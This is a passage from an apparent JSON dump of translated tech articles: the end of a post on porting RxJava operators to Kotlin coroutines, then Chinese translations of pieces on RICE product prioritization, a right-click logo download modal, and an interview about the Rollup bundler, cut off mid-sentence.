consumer.onNext(t)\n                    }\n                }\n\n                override suspend fun onError(t: Throwable) {\n                    if (!done) {\n                        consumer.onError(t)\n                    }\n                }\n\n                override suspend fun onComplete() {\n                    if (!done) {\n                        consumer.onComplete()\n                    }\n                }\n            })\n        }\n    }\n}\n```\n\nI guess the pattern is now obvious. Let's see a couple of other operators.\n\n**Take**\n\n```\nsuspend fun <T> CoFlow<T>.take(n: Long): CoFlow<T> {\n\n// ...\n\n     var remaining = n\n\n     override suspend fun onNext(t: T) {\n         val r = remaining\n         if (r != 0L) {\n             remaining = --r;\n             consumer.onNext(t)\n             if (r == 0L) {\n                 upstream!!.close()\n                 consumer.onComplete()\n             }\n         }\n     }\n\n// ...\n\n     override suspend fun onComplete() {\n         if (remaining != 0L) {\n             consumer.onComplete()\n         }\n     }\n}\n```\n\n**Skip**\n\n```\nsuspend fun <T> CoFlow<T>.skip(n: Long): CoFlow<T> {\n\n// ...\n\n     var remaining = n\n\n     override suspend fun onNext(t: T) {\n         val r = remaining\n         if (r == 0L) {\n             consumer.onNext(t)\n         } else {\n             remaining = r - 1\n         }\n     }\n\n     // ...\n}\n```\n\n**Collect**\n\n```\nsuspend fun <T, R> CoFlow<T>.collect(\n         collectionSupplier: suspend () -> R,\n         collector: suspend (R, T) -> Unit\n): CoFlow<R> {\n    val source = this\n    \n    return object: CoFlow<R> {\n\n        override suspend fun subscribe(consumer: CoConsumer<R>) {\n\n            val coll : R\n\n            try {\n                coll = collectionSupplier()\n            } catch (ex: Throwable) {\n                consumer.onSubscribe(BooleanConnection())\n                consumer.onError(ex)\n                return\n            }                     \n\n            source.subscribe(object: CoConsumer<T> {\n\n                var upstream: CoConnection? = null\n                var done: Boolean = false\n                val collection: R = coll\n\n                override suspend fun onSubscribe(conn: CoConnection) {\n                    upstream = conn\n                    consumer.onSubscribe(conn)\n                }\n\n                override suspend fun onNext(t: T) {\n                    try {\n                        collector(collection, t)\n                    } catch (ex: Throwable) {\n                        done = true\n                        upstream!!.close()\n                        consumer.onError(ex)\n                        return\n                    }\n                }\n\n                override suspend fun onError(t: Throwable) {\n                    if (!done) {\n                        consumer.onError(t)\n                    }\n                }\n\n                override suspend fun onComplete() {\n                    if (!done) {\n                        consumer.onNext(collection)\n                        consumer.onComplete()\n                    }\n                }\n            })\n         \n        }\n    }\n}\n```\n\n**Sum**\n\n```\nsuspend fun <T: Number> CoFlow<T>.sumInt(): CoFlow<Int> {\n\n\n    // ...\n    var sum: Int = 0\n    var hasValue: Boolean = false\n\n    override suspend fun onNext(t: T) {\n        if (!hasValue) {\n            hasValue = true\n        }\n        sum += t.toInt()\n    }\n\n    // ...\n\n    override suspend fun onComplete() {\n        if (hasValue) {\n            consumer.onNext(sum)\n        }\n        consumer.onComplete()\n    }\n}\n```\n\n**Max**\n\n```\nsuspend fun <T: Comparable<T>> CoFlow<T>.max(): CoFlow<T> {\n\n    // ...\n    var value: T? = null\n\n    override suspend fun onNext(t: T) {\n        val v = value\n        if (v == null || v < t) {\n            value = t\n        }               \n    }\n\n    // ...\n\n    override suspend fun onComplete() {\n        val v = value\n        if (v != null) {\n            consumer.onNext(v)\n        }\n        consumer.onComplete()\n    }\n}\n```\n\n**Flatten**\n\n```\nsuspend fun <T, R> CoFlow<T>.flatten(mapper: suspend (T) -> Iterable<R>): CoFlow<R> {\n\n    // ...\n\n    override suspend fun onNext(t: T) {\n\n        try {\n            for (v in mapper(t)) {\n                consumer.onNext(v)\n            }\n        } catch (ex: Throwable) {\n            done = true\n            upstream!!.close()\n            consumer.onError(ex)\n            return\n        }\n    }\n\n}\n```\n\n**Concat**\n\n```\nsuspend fun <T, R> CoFlow<T>.concat(vararg sources: CoFlow<T>): CoFlow<T> {\n    return object: CoFlow<T> {\n        suspend override fun subscribe(consumer: CoConsumer<T>) {\n            val closeToken = SequentialConnection()\n            consumer.onSubscribe(closeToken)\n            launch(Unconfined) {\n                val ch = Channel<Unit>(1);\n\n                for (source in sources) {\n\n                    source.subscribe(object: CoConsumer<T> {\n                        suspend override fun onSubscribe(conn: CoConnection) {\n                            closeToken.replace(conn)\n                        }\n\n                        suspend override fun onNext(t: T) {\n                            consumer.onNext(t)\n                        }\n\n                        suspend override fun onError(t: Throwable) {\n                            consumer.onError(t)\n                            ch.close()\n                        }\n\n                        suspend override fun onComplete() {\n                            ch.send(Unit)\n                        }\n\n                    })\n\n                    try {\n                        ch.receive()\n                    } catch (ex: Throwable) {\n                        // ignored\n                        return@launch\n                    }\n                }\n\n                consumer.onComplete()\n            }\n        }\n    }\n}\n```\n\nBefore **concat**, we did not have to interact with the cancellation mechanism of the coroutine world. Here, if one wants to avoid unbounded recursion due to switching to the next source, some trampolining is necessary. The **launch(Unconfined)**, as I understand it, should do just that. Note that the returned **Job** is not joined into the **CoConnection** rail, partly due to avoid writing a **CompositeCoConnection**, partly because I don't know how generally such contextual component should interact with our **CoFlow** setup. Suggestions welcome.\n\nAs for the use of **Channel(1)**, I encountered two problems:\n\n*   I don't know how to hold off the loop otherwise as **suspendCoroutine { }** doesn't allow its block to be suspendable and we have **subscribe()** as suspendable.\n*   The plain **Channel()** is a so-called rendezvous primitive where **send()** and **receive()** have to meet. Unfortunately, a synchronously executed **CoFlow** will livelock because **send()** suspends - because there is no matching **receive()** call on the same thread - which would resume **receive()**. A one element channel solved this.\n\nThe (simpler) **SequentialConnection** is implemented as follows:\n\n```\nclass SequentialConnection : AtomicReference<CoConnection?>(), CoConnection {\n\n    object Disconnected : CoConnection {\n        suspend override fun close() {\n        }\n    }\n\n    suspend fun replace(conn: CoConnection?) : Boolean {\n        while (true) {\n            val a = get()\n            if (a == Disconnected) {\n                conn?.close()\n                return false\n            }\n            if (compareAndSet(a, conn)) {\n                return true\n            }\n        }\n    }\n\n    suspend override fun close() {\n        getAndSet(Disconnected)?.close()\n    }\n}\n```\n\nIt uses the same atomics logic as the **SequentialDisposable** in RxJava.\n\n### Leaving the reactive world\n\nEventually, we'd like to return to the plain coroutine world and resume our imperative code section after a **CoFlow** has run. One case is to actually ignore any emission and just wait for the **CoFlow** to terminate. Let's write an **await()** operator for that:\n\n```\nsuspend fun <T> CoFlow<T>.await() {\n    val source = this\n\n    val ch = Channel<T>(1)\n\n    source.subscribe(object : CoConsumer<T> {\n        var upstream : CoConnection? = null\n\n        suspend override fun onSubscribe(conn: CoConnection) {\n            upstream = conn\n        }\n\n        suspend override fun onNext(t: T) {\n        }\n\n        suspend override fun onError(t: Throwable) {\n            ch.close(t)\n        }\n\n        suspend override fun onComplete() {\n            ch.close()\n        }\n    })\n\n    try {\n        ch.receive()\n    } catch (ex: ClosedReceiveChannelException) {\n        // expected closing\n    }\n}\n```\n\nThe same **Channel(1)** trick is used here. Again, I don't know how to attach the **CoConnection** to the caller's context.\n\nSometimes, we are interested in the first or last item generated through the **CoFlow**. Let's see how to get to the first item via an **awaitFirst()**:\n\n```\nsuspend fun <T> CoFlow<T>.awaitFirst() : T {\n    val source = this\n\n    val ch = Channel<T>(1)\n\n    source.subscribe(object : CoConsumer<T> {\n        var upstream : CoConnection? = null\n        var done : Boolean = false\n\n        suspend override fun onSubscribe(conn: CoConnection) {\n            upstream = conn\n        }\n\n        suspend override fun onNext(t: T) {\n            done = true\n            upstream!!.close()\n            ch.send(t)\n        }\n\n        suspend override fun onError(t: Throwable) {\n            if (!done) {\n                ch.close(t)\n            }\n        }\n\n        suspend override fun onComplete() {\n            if (!done) {\n                ch.close(NoSuchElementException())\n            }\n        }\n    })\n\n    return ch.receive()\n}\n```\n\n## The benchmark\n\nSince benchmarking concurrent performance would be somewhat unfair at this point, the next best benchmark I can think of is our standard **Shakespeare Plays Scrabble**. It can show the infrastructure overhead of a solution without any explicitly stated concurrency need from the solution.\n\nRather than showing the somewhat long Kotlin source code adapted for **CoFlow**, you can find the benchmark code [in my repository](https://github.com/akarnokd/akarnokd-misc-kotlin/blob/master/src/main/kotlin/hu/akarnokd/kotlin/scrabble/ScrabbleCoFlow.kt). The environment: **i7 4770K, Windows 7 x64, Java 8u144, Kotlin 1.1.4-3, Coroutines 0.18, RxJava 2.1.3** for comparison:\n\n- RxJava Flowable: 26 milliseconds / op\n- Coroutines CoFlow: 52.4 milliseconds / op\n\nNot bad for the first try with limited knowledge. I can only speculate about a source of the 2x slower **CoFlow** implementation: **Channel**. I'm not sure it meant to support multiple senders and multiple receives, thus the internal queue is involved in way more atomics operation than necessary for our single-producer-single-consumer **CoFlow**/Reactive-Streams architecture.\n\n## Conclusion\n\nAs demonstrated, it is possible to rewrite (a set of) RxJava operators with coroutines and depending on the use case, even this (unoptimized) 2x overhead could be acceptable. Does this mean the rest of the 180 operators can be (reasonably) well translated?\n\nI don't know yet; **flatMap()**, **groupBy()** and **window()** are the most notoriously difficult operators due to the increased concurrency and backpressure interaction:\n\n* **flatMap** has to manage a dynamic set of sources which each have to be backpressured. Should each of them use the same **Channel.send()** or go round robin in some way?\n* **groupBy** is prone to livelock if the groups as whole and individually are not consumed.\n* **window** has a pecuilar operation mode (true for **groupBy**) that if one takes one window only, the upstream should not be cancelled until items aimed at that window have been emitted by the upstream or the consumption of the window is cancelled.\n\nCan RxJava be ported to Kotlin Coroutines: **yes**. Should the next RxJava rather be written in Kotlin Coroutines: **I don't think so**. The reasons I'm still not for \"Coroutines everywhere\" despite all the code shown in this post are:\n\n* I had to do this porting myself, which hardly constitutes as an unbiased and independent verification.\n* The coroutine concept is great, but tied to Kotlin as a compiler and its standard library. What should happen with the non-Kotlin, non-Android reactive users? What about other JVM languages?\n* Building the state machine is hidden from the developer by the compiler. There is always the risk the compiler doesn't do reasonable optimization job and/or doesn't introduce certain bugs you can't workaround easily from the user level. How often is the Kotlin language/standard library updated to fix issues? How is that [SAM issue doing](https://youtrack.jetbrains.com/oauth?state=%2Fissue%2FKT-14984)?\n\nSolving problems developers face is great, hyping about \"burrying Reactive programming as obsolete\" without supporting evindence is not.\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/rice-simple-prioritization-for-product-managers.md",
    "content": ">* 原文链接 : [RICE: SIMPLE PRIORITIZATION FOR PRODUCT MANAGERS](https://blog.intercom.io/rice-simple-prioritization-for-product-managers/)\n>* 原文作者 : [Sean McBride](https://blog.intercom.io/author/smcbride/)\n>* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n>* 译者 : [ZhaofengWu](https://github.com/ZhaofengWu)\n>* 校对者: [lynulzy](https://github.com/lynulzy), [dongpeiguo](https://github.com/dongpeiguo)\n\n\n# 给产品经理的简易优先级法则\n\n在确立产品路线图时，优先级永远都是一个难题。你该如何决定从何处着手呢？\n\n如果你已经花了足够的功夫来构思新的想法、寻找改善的机会、并收集反馈，你会有一个蕴含着不错想法的[可靠的路线图](httop://blog.intercom.io/where-do-product-roadmaps-come-from/)。不过，着手这些想法的顺序同样值得充分思考。你需要花一些时间来合理地确立优先级。\n\n\n\n## 优先级是个难题\n\n\n为什么确立产品路线图的顺序这么难？我们来列一下：\n\n*   相比涉及面广的项目，实现自己个人的小想法会更令人满足。\n*   相比直接影响你的目标的项目，专注于聪明的点子更有诱惑力。\n*   相比已经成竹在胸的项目，跃入新的想法更令人激动。\n*   你很容易忽略，某些项目可能会需要比其他项目付出更多的精力。\n\n就算你能够完美克服这些难题，在所有项目的想法中，你还会一直需要将这些因素结合与比较。不过好在，你不需要在你的脑海中做这些事。\n\n\n\n## 一个简单的优先级工具\n\n\n这时，一个打分系统就有用了。一个好的打分系统能够清晰、系统地帮助你考虑到一个项目的想法中上述每一个因素，并将这些因素严密及统一地结合起来。\n\n\n利用这样一个打分系统来确立优先级并不新鲜。现在就有很多系统用来平衡收支。不过，我在 Intercom 的团队并没有找到一个完善的系统能够让我们统一地比较诸多想法。\n\n\n所以，去年八月，从最基础的原理开始，我们开始着手开发我们自己的优先级打分系统。很多次测试与迭代之后，我们确立了四个因素，以及一个将它们结合的方法。\n\n\n\n## RICE: 四个评估优先级的因素\n\nRICE 是我们用来评判项目想法的四个因素的首字母缩写：范围 (reach)、影响力度 (impact)、信心 (confidence)、和付出 (effort)。\n\n\n\n### 范围\n\n\n![](https://blog.intercomassets.com/wp-content/uploads/2016/03/15031653/Reach.png)\n\n\n为了避免个人因素产生的偏见，你应该先估计在一段时间内每个项目影响的范围。比如对于我们团队，要估计的就是我们项目在一个季度会影响多少用户。\n\n范围衡量的是每个时间段中的人数或事件数。它可以是\"每季度的顾客量\"或者\"每月的交易量\"。尽量使用产品现实的数据而不是随便想一些数。\n\n#### 示例\n\n> _项目1：每月有 500 顾客到达了这个注册过程，其中 30% 选择了这个选项。那么范围就是 500 × 30% × 3 = 450 名顾客每季度。_\n>\n> _项目2：每个季度所有使用这个特性的顾客都会注意到这个改变。那么范围就是 2,000 名顾客每季度。_\n>\n> _项目3：这个改变只会对目前的 800 名顾客产生一次性的影响，且不会持久。那么范围就是 800 名顾客每季度。_\n\n\n\n### 影响力度\n\n\n![](https://blog.intercomassets.com/wp-content/uploads/2016/03/15030742/impact.png)\n\n为了让项目精准地实现你的目标，你需要顾及项目对于个体的影响。我们团队要问的问题就是，当顾客使用我们的项目，会使转化率提高多少。当然，你们的团队要将之改为你们的目标，比如提高使用率或使心情最佳。\n\n影响力度很难准确衡量。所以，我采用了一个量表的形式：3 代表\"巨大影响\"，2 代表\"高\"，1 是\"中等\"，0.5 是\"低\"，而 0.25 就是\"几乎没有\"。在计算最终的分数时，这些数字会和系数相乘，来放大或缩小。\n\n如此为影响力度选择一个数字似乎有些不科学，但否则如果只用直觉的话，结果会一团糟。\n\n#### 示例\n\n> _项目1：对于每个顾客都会有巨大的影响。影响分数为 3 。_\n>\n> _项目2：对于每个顾客都会有较小的影响。影响分数为 1 。_\n>\n> _项目3：影响力度大约在二者之间。影响分数为 2 。_\n\n### \n\n### 信心\n\n![](https://blog.intercomassets.com/wp-content/uploads/2016/03/15030748/confidence.png)\n\n为了控制对于那些令人激动但却不明确的想法的热情，你应该考虑到你对于一些预估的信心。如果你觉得一个项目会有巨大的影响力，但是并没有任何支持的数据，该信心因素就能让你控制你的冲动。\n\n信心是一个百分数，而我同样也用了一个量表的形式来避免选择困难症。100％ 是“高度信心”，80% 代表\"中等\"，50% 则是“低”。比这再低？那简直就是无稽之谈来。不过你要对自己诚实：你的预估背后究竟有多少支撑？\n\n#### 示例\n\n> _项目1：我们有对范围的定量计算，对影响力度的用户调研，以及对于付出精力的工程评估。这个项目就可以有 100% 的信心分数。_\n>\n> _项目2：我拥有支撑范围和精力的数据，但是我不太确定影响力度。这个项目就有 80% 的信心分数。_\n>\n> _项目3：范围和影响力度可能比预估低一点，但是精力可能会高一点。这个项目就只能有 50% 的信心分数。 _\n\n### \n\n### 精力\n\n![](https://blog.intercomassets.com/wp-content/uploads/2016/03/15030800/effort.png)\n\n为了用最少的精力和最快的节奏产生影响，你需要估计一个项目所需的时间。你需要从每个团队成员的角度去预估：产品人员、设计师、和工程师。\n\n精力是用\"人月\"这个数字来估计的——一个团队成员在一个月中可以做的工作量。这里会有很多未知的因素，所以我粗略地用整数来估计这个量（或者对于远小于一个月的工作量，就用0.5）。不像其它正面的因素，更多的精力是一个坏事。所以，我们需要用总影响力来除以这个数字。\n\n\n\n#### 示例\n\n> _项目1：这个项目要一周左右的计划，一两周的设计，和两到四周的工程时间。我觉得 2 人月的分数比较合适。_\n>\n> _项目2：这个项目要花几周时间来规划，一段较长的时间来设计，以及每个工程师至少两个月的时间。这个项目大约就是 4 人月的精力分数。_\n>\n> _项目3：这个项目只需要一周的规划，不用任何新设计，以及仅仅几周的工程时间。那么它就只是 1 人月的分数。_\n\n\n\n## 合并因素，得到RICE分数\n\n总结一下我们的四个因素：\n\n**范围：**它会影响多少人？（在某一固定时间范围内）\n\n**影响力度：**它会在多大程度上影响一个人？（很大 = 3x，大 = 2x，中 = 1x，低 = 0.5x，很低 = 0.25x）\n\n**信心：**你对你的预估有多大信心？（高 = 100%，中 = 80%，低 = 50%）\n\n**精力：**它会占用多少 \"人月\" ？（用整数，或者在很小的情况下，用0.5——也不用太精确）\n\n一旦你估计好了这些因素，将它们合并成一个分数，这样你就可以一次性比较多个项目了。公式如下：\n\n![](https://blog.intercomassets.com/wp-content/uploads/2016/03/15030740/formula.png)\n\n得出的分数衡量了\"每单位工作时间带来的影响\"——这正就是我们想要最大化的。我做了一份[电子表格](https://docs.google.com/spreadsheets/d/12BY8jlCPOVav1KFocIx-wruLjO-TVE2tpLO-oFM3SDA/edit#gid=0)来随着我的估计自动计算这个分数。\n\n[  \n![](https://blog.intercomassets.com/wp-content/uploads/2016/03/15032115/spreadsheet-screenshot.png)](https://docs.google.com/spreadsheets/d/12BY8jlCPOVav1KFocIx-wruLjO-TVE2tpLO-oFM3SDA/edit#gid=0)\n\n_你可以复制一份该表格作为自用。你也可以[下载一个 .xls 的版本](https://blog.intercomassets.com/wp-content/uploads/2016/03/15033140/RICE-scoring-example-spreadsheet-1.xlsx)_\n\n一旦第一步计算完了分数，你就可以排序你的列表，并重新评估。有没有得分过高或过低的项目？如果有，重新考虑你的预估，并且要不然进行改动，要不然接受你的直觉可能不准。\n\n我在过去六个月用了该 RICE 分数评估了超过 100 个项目的想法。它巨大地帮了我决定难以比较的想法。它强迫你去想为什么一个项目的想法会拥有影响力，也让你真实地面对需要付出的精力。\n\n\n\n## 有效地使用RICE分数\n\n当然，RICE 分数不应该被奉为金科玉律。一些得分低的项目可能也有充足的理由需要首先做。比如，一个项目可能依赖于另一个，所以后者需要先去做。或者，某个特性可能对于目标顾客是个卖点。\n\n我们的团队有时会不按 RICE 分数的顺序来进行，这是完全没有问题的。这个打分系统只是让我们更清晰地看到取舍而已。\n\nRICE 这样的打分系统会帮你做出基于更多信息的优先决定，也帮你向别人解释你这样做的道理。在你自己的优先级评定的过程中，试试 RICE ，并告诉我们用得怎么样！\n"
  },
  {
    "path": "TODO/right-click-logo-show-logo-download-options.md",
    "content": ">* 原文链接 : [Right Click Logo to Show Logo Download Options](https://css-tricks.com/right-click-logo-show-logo-download-options/)\n* 原文作者 : [CHRIS COYIER ](https://css-tricks.com/author/chriscoyier/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Yushneng](https://github.com/rainyear)\n* 校对者: [circlelove](https://github.com/circlelove)，[ZhaofengWu](https://github.com/ZhaofengWu)\n\n# 在网站 Logo 上右击时提示下载网站的 Logo 素材下载\n\n有一天我在访问 [Invision](http://www.invisionapp.com/) 网站时，突然想要抓取他们网站的 logo。如果运气好的话（例如你非常开心地发现他们 logo 的 SVG 文件），有时候你不需要去 Google 图片搜索，也不用普通网页搜索关键词 “Invision Logo”找到一些品牌介绍页面之类网页，才可以下载 logo 图片。\n\n因此我右击了他们的 logo，希望可以通过”查看元素”从开发者工具（DevTools）中找到它的图片文件。\n\n然而并没有出现右键菜单，而是触发了一个对话框：\n\n\n![](https://css-tricks.com/wp-content/uploads/2016/03/show-logo.gif)\n\n我感到非常惊喜，因为这正是我想要的。\n\n\n### 下面是一个简单的无依赖的实现方法\n\n看这个来自 Chris Coyier（[@chriscoyier](http://codepen.io/chriscoyier) 的示例 [右击 Logo 以显示 Logo 选项](http://codepen.io/chriscoyier/pen/QNyeVd/)）。\n\n<iframe height=\"268\" scrolling=\"no\" src=\"//codepen.io/chriscoyier/embed/QNyeVd/?height=268&amp;theme-id=0&amp;default-tab=result\" frameborder=\"no\" allowtransparency=\"true\" allowfullscreen=\"true\" style=\"width: 100%;\">See the Pen &lt;a href=\"http://codepen.io/chriscoyier/pen/QNyeVd/\"&gt;Right Click Logo to Show Logo Options&lt;/a&gt; by Chris Coyier (&lt;a href=\"http://codepen.io/chriscoyier\"&gt;@chriscoyier&lt;/a&gt;) on &lt;a href=\"http://codepen.io\"&gt;CodePen&lt;/a&gt;.</iframe>\n\n你的应用可能已经有一整套精致的系统来展示对话框了。如果是这样，那就更简单了。为 logo 绑定“右击”事件（准确来说是`contextmenu`）并加入你想完成的操作。\n\n    logo.addEventListener('contextmenu', function(event) {\n      // do whatever you do to show a modal\n    }, false);\n\n如果你当前没有实现对话框的系统，也很容易实现一个简单的版本。你需要一个浮层和一个对话框元素：\n\n    <div class=\"overlay\" id=\"overlay\"></div>\n\n    <div class=\"modal\" id=\"modal\">\n      <h3>Looking for our logo?</h3>\n      <p>You clever thing. We've prepared a <a href=\"#0\">.zip you can download</a>.</p>\n      <p><button id=\"close-modal-button\">Close</button></p>\n    </div>\n\n还有一个计划表：\n\n1. 右击 logo 时，显示浮层和对话框\n2. 点击关闭按钮时，隐藏它们\n\n没问题：\n\n    var logo = document.querySelector(\"#logo\");\n    var button = document.querySelector(\"#close-modal-button\");\n    var overlay = document.querySelector(\"#overlay\");\n    var modal = document.querySelector(\"#modal\");\n\n    logo.addEventListener('contextmenu', function(event) {\n      event.preventDefault();\n      overlay.classList.add(\"show\");\n      modal.classList.add(\"show\");\n    }, false);\n\n    button.addEventListener('click', function(event) {\n      event.preventDefault();\n      overlay.classList.remove(\"show\");\n      modal.classList.remove(\"show\");\n    }, false);\n\n基本样式：\n\n    .overlay {\n      position: fixed;\n      background: rgba(0, 0, 0, 0.75);\n      top: 0;\n      left: 0;\n      width: 100%;\n      height: 100%;\n      display: none;\n    }\n    .overlay.show {\n      display: block;\n    }\n\n    .modal {\n      position: fixed;\n      left: 50%;\n      width: 300px;\n      margin-left: -150px;\n      top: 100px;\n      background: white;\n      padding: 20px;\n      text-align: center;\n      display: none;\n    }\n    .modal.show {\n      display: block;\n    }\n    .modal > h3 {\n      font-size: 26px;\n      color: #900;\n    }\n\n### 永远不要用你自己自定义的行为破坏原有的右键菜单，我的天，你这个根本就不应该存在的恶魔\n\n你是对的！天呐我都做了些什么！Murderous screams!!\n\n<iframe src=\"https://vine.co/v/i675aBFnWta/embed/simple\" width=\"600\" height=\"600\" frameborder=\"0\"></iframe><script src=\"https://platform.vine.co/static/scripts/embed.js\"></script>\n"
  },
  {
    "path": "TODO/rollup-interview.md",
    "content": "> * 原文地址：[Rollup - Next-generation ES6 module bundler - Interview with Rich Harris](https://survivejs.com/blog/rollup-interview/)\n> * 原文作者：[SurviveJS](https://twitter.com/survivejs)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/rollup-interview.md](https://github.com/xitu/gold-miner/blob/master/TODO/rollup-interview.md)\n> * 译者：[Raoul1996](https://github.com/Raoul1996)\n> * 校对者：[Usey95](https://github.com/Usey95)、[Aladdin-ADD](https://github.com/Aladdin-ADD)\n\n# Rollup - 下一代 ES6 模块化打包工具 - 对 Rich Harris 的采访\n\n鉴于浏览器目前尚不能按照“原样”解析 JavaScript 源码，所以**打包**这一步必不可少。将源代码编译成浏览器可以理解的形式，这是打包工具（例如 Browserify，Rollup 或者 webpack）存在的原因。\n\n为了深入探讨这个话题，我们正在采访 Rollup 的作者  [Rich Harris](https://twitter.com/Rich_Harris)。\n\n> 我早些时候已经采访过 [Rich，他同样是 UI 框架 Svelte 的作者](https://survivejs.com/blog/svelte-interview/)。\n\n## 你可以介绍下自己吗？\n\n![Rich Harris](https://www.gravatar.com/avatar/329f9d32fe20b186838ee237d3eb2d43?s=200) 我是在纽约时报调查组工作的图形编辑，身兼记者和开发者职位。在此之前，我在卫报做差不多的工作。过去我的部分职责是开发工具去让我们用新闻的速度新建、部署项目。这个过程或许有点激进 —— [Rollup](https://rollupjs.org)，[Bublé](https://buble.surge.sh) 和 [Svelte](https://svelte.technology) 等都是那个时期的产物。\n\n## 你会怎样把 _Rollup_ 介绍给一个从未听说过它的人？\n\nRollup 是一个模块化的打包工具。本质上，它会合并 JavaScript 文件。而且你不需要去手动指定它们的顺序，或者去担心文件之间的变量名冲突。它的内部实现会比说的复杂一点，但是它就是这么做的 —— 合并。\n\n这么做的原因是你可以使用 ES2015 中新增的 `import` 和 `export` 关键字来模块化编程，这样在很多方面上更加明智。因为浏览器和 Node.js 还没有提供原生的 ES2015 module（ESM）支持，所以我们模块必须在打包之后才能运行。\n\nRollup 可以打包出自执行（self-executing）的 `<script>` 文件，AMD 模块，Node 友好的 CommonJS 模块，UMD 模块（兼容三者），甚至是可以在 _其他_ 项目中使用的 ESM 模块。\n\n这是库的理想选择。实际上，大多数的 JavaScript 库（React，Vue，Angular，Glimmer，D3，Three.js，PouchDB，Moment，Most.js，Preact，Redux等）都是用 Rollup 构建的。\n\n## _Rollup_ 是怎样工作的呢？\n\n你给它一个入口文件 —— 通常是 `index.js`。Rollup 将使用 Acorn 读取解析文件 —— 将返回给我们一种叫抽象语法树（AST）的东西。 一旦有了 AST ，你就可以发现许多关于代码的东西，比如它包含哪些 import 声明。\n\n假设 `index.js` 文件头部有这样一行：\n\n```\nimport foo from './foo.js';\n```\n\n这就意味着 Rollup 需要去加载，解析，分析在 index.js 中引入的 ./foo.js。重复解析直到没有更多的模块被加载进来。更重要的是，所有的这些操作都是可插拔的，所以您可以从 `node_modules` 中导入或者使用 sourcemap-aware 的方式将 ES2015 编译成 ES5 代码。\n\n## _Rollup_ 和其他解决方案有何不同？\n\n首先，零开销。传统的打包方式是将模块封装到独立的函数中，将这些函数放进一个数组中，然后实现一个可以将这些函数从数组中取出并按需执行的 `require` 函数。事实证明这样打包体积和启动时间都会[很糟糕](https://nolanlawson.com/2016/08/15/the-cost-of-small-modules/)。\n\n相反，Rollup 事实上只是会合并你的代码 —— 没有任何浪费。所产生的包也可以更好的缩小。有人称之为 “作用域提升（scope hoisting）”。\n\n其次。它把你导入的模块中的未使用代码移除。这被称为“（摇树优化）treeshaking”。没有什么确切的原因。\n\n值得注意的是，webpack 最新版本实现了作用域提升和摇树优化，所以它在打包体积和启动时间上赶上了 Rollup（尽管我们还是遥遥领先）。如果你构建的不是一个库，那么通常 webpack 是一个更好的选择，因为它有很多 Rollup 不具有的功能 —— 比如代码分割，动态导入等等。\n\n> 理解工具间的差异，[请阅读 “同中有异的 Webpack 与 Rollup”\u0010](https://medium.com/webpack/webpack-and-rollup-the-same-but-different-a41ad427058c) 或者[[译] 同中有异的 Webpack 与 Rollup](https://juejin.im/post/58edb865570c350057f199a7)。\n> \n\n## 为什么你要开发 _Rollup_ 呢？\n\n\n必要性。现有的工具都不够好。\n\n几年前，我正在开发一个名叫  [Ractive](https://ractive.js.org) 的项目。构建的过程让我十分沮丧。我们越是把代码库分解成模块，由于之前我描述的开销的原因，构建得越大。我们做了正确的事情但是却遭受着处罚。\n\n所以我写了一个叫 Esperanto 的模块打包工具，并且作为单独的开源项目将其发布。瞧，我们的打包体积缩小了，但是我并不满意。因为我读过 [Jo Liss](https://twitter.com/jo_liss) 写的关于如何设计静态分析的 ESM 能够让我们进行摇树优化（treeshaking），然而 Esperanto 做不到这一点。\n\n在 Esperanto 上增加摇树优化会非常困难，所以我放弃了它，并用 Rollup 重新开发。\n\n> 想了解更多关于 ESM 的信息, [请阅读对 Bradley Farias 的采访](https://survivejs.com/blog/es-modules-interview/).\n\n## 接下来做什么？\n\n我很乐意把 Rollup 开发到大家认为“完毕”的程度，这样我就可以不用再考虑它了。这并不是一个令人兴奋的项目，因为模块打包是一个无聊至极的主题。这基本上只是水暖（plumbing）—— 必不可少但却毫无魅力可言。\n\n当然到达那里我还有很长的路需要走，同时我还觉得我有着照看社区的责任，因为我一直是 ESM 的倡导者。\n\n现在我们正在进入一个激动人心的地方 —— 浏览器陆续开始添加本地模块支持，而且现在 webpack 支持作用域提升，在各处使用 ESM 都会有很实在的好处。所以我们希望尽快看到 ESM 接管 CommonJS。（如果你还在写CommonJS，别写了！你这是在制造技术债务）.\n\n## 总的来说， _Rollup_ 和 web 开发在未来将会是什么样子？你有哪些预测呢？\n\n一方面，Rollup 会变得越来越过时。一旦浏览器提供原生的本地模块支持的时候，将会有一大类把打包（以及与之相关的一切 —— 编译，压缩等）作为一个可选而非必须的性能优化的应用。这将是 _大趋势_ ，尤其是对于 web 开发的新手来说。\n\n但是与此同时，我们越来越多地使用构建流程为我们的应用添加复杂的功能。我是这个的支持者 —— [Svelte](https://svelte.technology) 基本上是从声明模板开始为你编写应用程序的一个编译器。而且伴随着 WASM 以及其他东西的横空出世，它只会变得更激烈。\n\n所以有两个看起来矛盾的趋势同时发生了，看看它们怎么发展将会是很有趣的。\n\n## 您对进行 web 开发的程序员有什么建议呢？\n\n站在其他程序员的肩膀上。读源码，通过构建一些东西来体会开发，并以此为荣而不要自满。学习基础知识，因为任何的抽象都不可能天衣无缝（all abstractions are leaky）。搞清楚“任何的抽象都不可能天衣无缝”的意思。关掉你的电脑，走出门外。因为大多数好戏都会在键盘之外发生。\n\n最重要的是，采取一撮盐的编程建议（take programming advice with a pinch of salt）。 一旦有人达到别人开始要求他们提供建议的阶段，他们就忘记自己当初是新手的感觉。没有人无所不知，无所不能。\n\n## 接下来我应该去采访谁？\n\n\n我真的很喜欢跟随跨越 JavaScript 和其他学科（例如 DataGL，WebGL，制图和动画等）的人们的工作 —— 像 [Vladimir Agafonkin](https://twitter.com/mourner)，[Matthew 